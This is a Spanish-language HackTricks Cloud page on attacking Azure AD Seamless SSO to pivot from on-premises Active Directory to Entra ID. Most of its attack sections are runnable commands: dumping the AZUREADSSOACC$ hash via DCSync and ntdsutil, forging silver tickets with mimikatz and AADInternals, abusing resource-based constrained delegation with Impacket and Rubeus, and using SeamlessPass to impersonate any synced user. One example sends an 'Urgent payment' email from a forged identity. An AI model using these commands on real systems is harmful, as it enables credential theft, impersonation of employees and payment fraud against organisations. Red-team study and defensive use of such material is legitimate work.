Az - Seamless SSO
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Información Básica
Desde la documentación: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) firma automáticamente a los usuarios cuando están en sus dispositivos corporativos conectados a su red corporativa. Cuando está habilitado, los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD, y generalmente, ni siquiera escriben sus nombres de usuario. Esta función proporciona a sus usuarios un acceso fácil a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Básicamente, Azure AD Seamless SSO firma a los usuarios cuando están en un PC unido a un dominio local.
Es compatible tanto con PHS (Sincronización de Hash de Contraseña) como con PTA (Autenticación Passthrough).
El SSO de escritorio utiliza Kerberos para la autenticación. Cuando se configura, Azure AD Connect crea una cuenta de computadora llamada AZUREADSSOACC$ en el AD local. La contraseña de la cuenta AZUREADSSOACC$ es enviada como texto plano a Entra ID durante la configuración.
Los tickets de Kerberos están encriptados utilizando el NTHash (MD4) de la contraseña y Entra ID utiliza la contraseña enviada para desencriptar los tickets.
Entra ID expone un endpoint (https://autologon.microsoftazuread-sso.com) que acepta tickets de Kerberos. El navegador de la máquina unida al dominio reenvía los tickets a este endpoint para SSO.
Enumeración
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
Pivoting: On-prem -> cloud
Warning
Lo principal que hay que saber sobre este ataque es que tener el TGT o un TGS específico de un usuario que está sincronizado con Entra ID es suficiente para acceder a los recursos en la nube.
Esto se debe a que es un ticket lo que permite a un usuario iniciar sesión en la nube.
Para obtener ese ticket TGS, el atacante necesita tener uno de los siguientes:
- Un TGS de un usuario comprometido: Si comprometes la sesión de un usuario con el ticket a
HTTP/autologon.microsoftazuread-sso.comen memoria, puedes usarlo para acceder a los recursos en la nube. - Un TGT de un usuario comprometido: Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como Kekeo y Rubeus.
- Un hash o contraseña de un usuario comprometido: SeamlessPass se comunicará con el controlador de dominio con esta información para generar el TGT y luego el TGS.
- Un ticket dorado: Si tienes la clave KRBTGT, puedes crear el TGT que necesitas para el usuario atacado.
- El hash o contraseña de la cuenta AZUREADSSOACC$: Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticarte con la nube (como se realizó en el método anterior).
SeamlessPass
Como se explica en esta publicación del blog, tener cualquiera de los requisitos anteriores hace que sea muy fácil usar la herramienta SeamlessPass para acceder a los recursos en la nube como el usuario comprometido, o como cualquier usuario si tienes el hash o contraseña de la cuenta AZUREADSSOACC$.
Finalmente, con el TGT es posible usar la herramienta SeamlessPass con:
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
Más información para configurar Firefox para trabajar con SSO sin interrupciones se puede encontrar en esta publicación de blog.
Obtención de hashes de la cuenta AZUREADSSOACC$
La contraseña del usuario AZUREADSSOACC$ nunca cambia. Por lo tanto, un administrador de dominio podría comprometer el hash de esta cuenta, y luego usarlo para crear tickets de plata para conectarse a Azure con cualquier usuario local sincronizado:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Note
Con la información actual, podrías simplemente usar la herramienta SeamlessPass como se indicó anteriormente para obtener tokens de azure y entraid para cualquier usuario en el dominio. También podrías usar las técnicas anteriores (y otras) para obtener el hash de la contraseña de la víctima que deseas suplantar en lugar de la cuenta
AZUREADSSOACC$.
Creando Tickets Silver
Con el hash ahora puedes generar tickets silver:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Usando Silver Tickets con Firefox
Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos:
- Iniciar el Navegador: Se debe lanzar Mozilla Firefox.
- Configurar el Navegador:
- Navegar a
about:config. - Establecer la preferencia para network.negotiate-auth.trusted-uris al valor especificado:
https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com- Navegar a
Configuraciónde Firefox > BuscarPermitir inicio de sesión único de Windows para cuentas de Microsoft, trabajo y escuelay habilitarlo.
- Acceder a la Aplicación Web:
- Visitar una aplicación web que esté integrada con el dominio AAD de la organización. Un ejemplo común es login.microsoftonline.com.
- Proceso de Autenticación:
- En la pantalla de inicio de sesión, se debe ingresar el nombre de usuario, dejando el campo de contraseña en blanco.
- Para continuar, presionar TAB o ENTER.
Warning
Esto no elude MFA si está habilitado en el usuario.
On-prem -> Cloud a través de Delegación Constrainida Basada en Recursos
Para realizar el ataque se necesita:
WriteDACL/GenericWritesobreAZUREADSSOACC$- Una cuenta de computadora que controles (hash y contraseña) - Podrías crear una
- Paso 1 – Agrega tu propia cuenta de computadora
- Crea
ATTACKBOX$e imprime su SID/hash NTLM. Cualquier usuario de dominio puede hacer esto mientras MachineAccountQuota > 0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
- Paso 2 – Conceder RBCD en
AZUREADSSOACC$- Escribe el SID de tu máquina enmsDS-AllowedToActOnBehalfOfOtherIdentity.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
- Paso 3 – Forjar un TGS para cualquier usuario (por ejemplo, alice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
Ahora puedes usar el TGS para acceder a los recursos de Azure como el usuario suplantado.
Creando tickets de Kerberos para usuarios solo en la nube
Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden establecer SID para cualquier usuario en la nube. De esta manera, los tickets de Kerberos pueden ser creados también para usuarios solo en la nube. El único requisito es que el SID sea un SID.
Caution
Cambiar el SID de los usuarios administradores solo en la nube ahora está bloqueado por Microsoft.
Para más información, consulta https://aadinternals.com/post/on-prem_admin/
Referencias
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Estoy en tu nube, leyendo los correos electrónicos de todos - hackeando Azure AD a través de Active Directory
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

